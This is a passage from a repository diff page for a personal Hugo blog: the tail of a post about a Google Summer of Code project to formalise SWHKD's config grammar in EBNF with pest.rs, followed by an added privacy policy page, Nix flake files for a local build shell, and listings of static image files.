I had been using it to chain actions for my voice automation tool and was pleasantly surprised
by the fact that Waycrate (the organization behind SWHKD) had a whole bunch of ideas for this year's
Google Summer of Code.
One of these was to formalize the grammar for the config file so that the hand-rolled parser could
be replaced with a more robust and formally provable solution. I checked out the issue and one of
the organizers was talking about Extended Backus-Naur Form (EBNF) to implement the grammar.
Now, I had only worked with EBNF for small pet projects before, so this felt like the perfect opportunity
to test my skills in a production environment. I've slowly started working on an implementation using
[pest.rs](https://pest.rs) and I'll post more updates on my GSoC progress soon.
For those interested, keep an eye out for any of the [_Google Summer of Code_](/tags/google-summer-of-code) or [_SWHKD_](/tags/swhkd) tags in my blog.
See you soon!

12
content/privacy.md Normal file
View File

@@ -0,0 +1,12 @@
---
title: "Privacy Policy"
date: 2023-09-04T10:10:09+05:30
draft: false
---
This site does NOT use cookies or third party analytics to track you.
All resources that are served, including fonts, styles and scripts are local and not sourced from CDNs.
Client side local storage is only used to store the setting for the light or dark theme.
The posts here can be viewed regardless of whether javascript is enabled.
The only features relying on javascript are the theme switcher (try clicking the sun or moon icon) and the search box.

57
flake.lock generated Normal file
View File

@@ -0,0 +1,57 @@
{
"nodes": {
"flake-utils": {
"inputs": {
"systems": "systems"
},
"locked": {
"lastModified": 1710146030,
"narHash": "sha256-SZ5L6eA7HJ/nmkzGG7/ISclqe6oZdOZTNoesiInkXPQ=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "b1d9ab70662946ef0850d488da1c9019f3a9752a",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"nixpkgs": {
"locked": {
"lastModified": 0,
"narHash": "sha256-SzDKxseEcHR5KzPXLwsemyTR/kaM9whxeiJohbL04rs=",
"path": "/nix/store/qgbn0imyridkb9527v6gnv6z3jzzprb9-source",
"type": "path"
},
"original": {
"id": "nixpkgs",
"type": "indirect"
}
},
"root": {
"inputs": {
"flake-utils": "flake-utils",
"nixpkgs": "nixpkgs"
}
},
"systems": {
"locked": {
"lastModified": 1681028828,
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
"owner": "nix-systems",
"repo": "default",
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
"type": "github"
},
"original": {
"owner": "nix-systems",
"repo": "default",
"type": "github"
}
}
},
"root": "root",
"version": 7
}

24
flake.nix Normal file
View File

@@ -0,0 +1,24 @@
{
description = "build lavafroth.is-a.dev locally";
inputs.flake-utils.url = "github:numtide/flake-utils";
outputs = { self, nixpkgs, flake-utils }:
flake-utils.lib.eachDefaultSystem
(system:
let pkgs = nixpkgs.legacyPackages.${system}; in
{
devShells.default = pkgs.mkShell {
packages = with pkgs;
[
hugo
(writeScriptBin "serve" ''
${pkgs.hugo}/bin/hugo -D
${pkgs.pagefind}/bin/pagefind --output-path "static/pagefind"
${pkgs.hugo}/bin/hugo server -D
'')
];
};
}
);
}

1
pagefind.yml Normal file
View File

@@ -0,0 +1 @@
site: public

Binary file not shown.

After

Width:  |  Height:  |  Size: 151 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 491 KiB

BIN
static/222-re-render.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 MiB

BIN
static/222go-preview.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 842 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 687 B

1
static/CNAME Normal file
View File

@@ -0,0 +1 @@
lavafroth.is-a.dev

Binary file not shown.

After

Width:  |  Height:  |  Size: 127 KiB

BIN
static/cry.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 MiB

BIN
static/drowning.avif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 997 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 MiB

Some files were not shown because too many files have changed in this diff Show More